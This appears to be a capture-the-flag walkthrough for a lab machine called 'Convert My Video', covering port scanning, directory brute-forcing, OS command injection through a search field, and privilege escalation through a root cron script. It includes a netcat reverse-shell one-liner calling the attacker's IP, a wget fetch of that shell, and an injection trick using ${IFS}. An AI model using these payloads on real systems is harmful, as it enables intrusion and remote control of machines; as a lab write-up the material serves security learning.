Posts Convert My Video
Post
Cancel

Convert My Video

Description

My Script to convert videos to MP3 is super secure.

RoomInternal
OSLinux
DifficultyMedium
Creatoroverjt

After deploying, we’ll start with nmap scan,

1
sudo nmap -A -T4 -p- -oN nmap_scan 10.10.222.32

image

We can see that 2 ports 22 (SSH) and 80 (HTTP) are open.

Let’s visit http://10.10.222.32/,

image

Looks like this is a sort of conversion site where one can convert video to mp3 and vice versa.

Now, let’s brute force directories using gobuster tool,

1
gobuster dir -u http://10.10.222.32/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt -q 2>/dev/null

image

We can see that it has /admin as secret directory. Now, we’ll visit to admin path, this window poppup will occur,

image

It wants us to give username and password to get authenticated. We don’t have credentials. So it’ll give this message,

image

Now, we’ll look for another method.

Let’s try to give some input in search tab on main page and we’ll intercept the request using burpsuite,

image

now, let’s intercept request and send this to repeater,

image

Repeater will give response to this request as much we’ll modify this request,

image

It gives normal error message contain warning. Let’s try another search but this time, we’ll provide a number,

image

This time we’ll provide number to see what happens,

image

we get different error this time. That means this is OS Command Execution vulnerability.

Try to inject some commands in between backticks to see what we got as response but we don’t get a response that we want instead, we’ll get error. But when we type man command in between backticks,

image

We’ll get this output,

image

We got different response and “What manual page do you want” depicts that we’ve OS command execution vulnerability.

We’ll try to get a netcat reverse shell using one-liner, the issue is that the command has some symbols in it that would actually break the injection,

image

So to prevent that, I’ve put this reverse shell into file called nc_shell on my local system,

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.189.151 4444 >/tmp/f

image

and we’ll upload this file using wget.

Starting python server to upload shell on machine, python3 -m http.server and type this syntax to upload the shell using wget command and make sure to replace “ “ with ”${IFS} “ otherwise injection will break.

image

we’ll get a response like this after uploading shell,

image

Now, we’ll start netcat listener on our machine, nc -nvlp 4444 and now we’ll execute the uploaded shell on burp,

image

after sending request, we’ll get a reverse connection back on netcat listener.

image

we’re www-data user. That means we have shell.

we’ll improve shell functionality,

bin/bash -i

image

after doing ls we’ll find that there are many directories present. And there’s an admin directory present. Let’s navigate to that and enumerating it,

image

let’s view the content of htpasswd file,

image

Seems like these are creds for something. After tried everything, we can’t crack this password.

Now, we’ve to do privilege escalation here. For this, we’ll upload pspy64s file to monitor linux processes.

image

Now that the pspy64s file has been downloaded, we’ll change it’s execute permissions,

1
chmod +x pspy64s

Now, executing file, ./pspy64s and after waiting sometime, we’ll got to know what processes are running on the system,

image

and these are repeating on cycle. I wonder this is the work of CronJobs.

Let’s go to tmp folder,

image

we found the binary there. Looks like is a scheduled task and runs frequently as root. It’s a shell file which is scheduled to run regularly as root and ‘www-data’ (current user) is the owner. You can modify the file to do anything you like as root == PrivEsc!

Append file with a command to cat out /root/root.txt and pass output to a file that we can access,

1
echo 'cat root/root.txt > root_flag' >> clean.sh

Wait for sometime to let the script execute. It tooks a while to get root_flag,

image

and we’ve our root flag.

This post is licensed under CC BY 4.0 by the author.